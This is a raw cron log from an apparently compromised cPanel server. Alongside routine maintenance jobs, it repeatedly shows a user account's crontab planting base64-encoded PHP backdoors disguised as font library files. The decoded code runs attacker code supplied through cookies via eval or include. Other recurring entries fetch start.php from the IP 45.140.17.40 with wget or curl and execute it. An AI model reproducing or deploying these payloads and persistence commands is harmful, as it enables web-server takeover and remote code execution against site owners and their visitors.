Sep  1 13:39:01 ip-184-168-122-23 CROND[1800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:39:01 ip-184-168-122-23 CROND[1799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:39:01 ip-184-168-122-23 CROND[1801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:39:01 ip-184-168-122-23 CROND[1802]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 13:40:01 ip-184-168-122-23 CROND[1896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:40:01 ip-184-168-122-23 CROND[1898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:40:01 ip-184-168-122-23 CROND[1902]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 13:40:01 ip-184-168-122-23 CROND[1900]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 13:40:01 ip-184-168-122-23 CROND[1899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:40:01 ip-184-168-122-23 CROND[1905]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:40:01 ip-184-168-122-23 CROND[1904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:40:01 ip-184-168-122-23 CROND[1906]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 13:41:01 ip-184-168-122-23 CROND[2009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:41:01 ip-184-168-122-23 CROND[2013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:41:01 ip-184-168-122-23 CROND[2011]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:41:01 ip-184-168-122-23 CROND[2014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:42:01 ip-184-168-122-23 CROND[2184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:42:01 ip-184-168-122-23 CROND[2187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:42:01 ip-184-168-122-23 CROND[2188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:42:01 ip-184-168-122-23 CROND[2189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:42:01 ip-184-168-122-23 CROND[2186]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:43:01 ip-184-168-122-23 CROND[2271]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:43:01 ip-184-168-122-23 CROND[2272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:43:01 ip-184-168-122-23 CROND[2274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:43:01 ip-184-168-122-23 CROND[2273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:44:01 ip-184-168-122-23 CROND[2388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:44:01 ip-184-168-122-23 CROND[2391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:44:01 ip-184-168-122-23 CROND[2390]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:44:01 ip-184-168-122-23 CROND[2392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:44:01 ip-184-168-122-23 CROND[2393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:45:01 ip-184-168-122-23 CROND[2487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:45:01 ip-184-168-122-23 CROND[2489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:45:01 ip-184-168-122-23 CROND[2491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:45:01 ip-184-168-122-23 CROND[2490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:45:01 ip-184-168-122-23 CROND[2493]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 13:45:01 ip-184-168-122-23 CROND[2492]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 13:46:01 ip-184-168-122-23 CROND[2619]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:46:01 ip-184-168-122-23 CROND[2624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:46:01 ip-184-168-122-23 CROND[2621]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:46:01 ip-184-168-122-23 CROND[2625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:46:01 ip-184-168-122-23 CROND[2622]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 13:46:01 ip-184-168-122-23 CROND[2623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:46:01 ip-184-168-122-23 CROND[2626]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 13:47:01 ip-184-168-122-23 CROND[2812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:47:01 ip-184-168-122-23 CROND[2815]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:47:01 ip-184-168-122-23 CROND[2816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:47:01 ip-184-168-122-23 CROND[2818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:48:01 ip-184-168-122-23 CROND[2919]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:48:01 ip-184-168-122-23 CROND[2923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:48:01 ip-184-168-122-23 CROND[2921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:48:01 ip-184-168-122-23 CROND[2924]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:48:01 ip-184-168-122-23 CROND[2922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:49:02 ip-184-168-122-23 CROND[3018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:49:02 ip-184-168-122-23 CROND[3019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:49:02 ip-184-168-122-23 CROND[3022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:49:02 ip-184-168-122-23 CROND[3023]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  1 13:49:02 ip-184-168-122-23 CROND[3025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:50:01 ip-184-168-122-23 CROND[3135]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 13:50:01 ip-184-168-122-23 CROND[3138]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 13:50:02 ip-184-168-122-23 CROND[3140]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 13:50:02 ip-184-168-122-23 CROND[3142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:50:02 ip-184-168-122-23 CROND[3141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 13:50:02 ip-184-168-122-23 CROND[3146]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 13:50:02 ip-184-168-122-23 CROND[3145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:50:02 ip-184-168-122-23 CROND[3149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 13:50:02 ip-184-168-122-23 CROND[3148]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
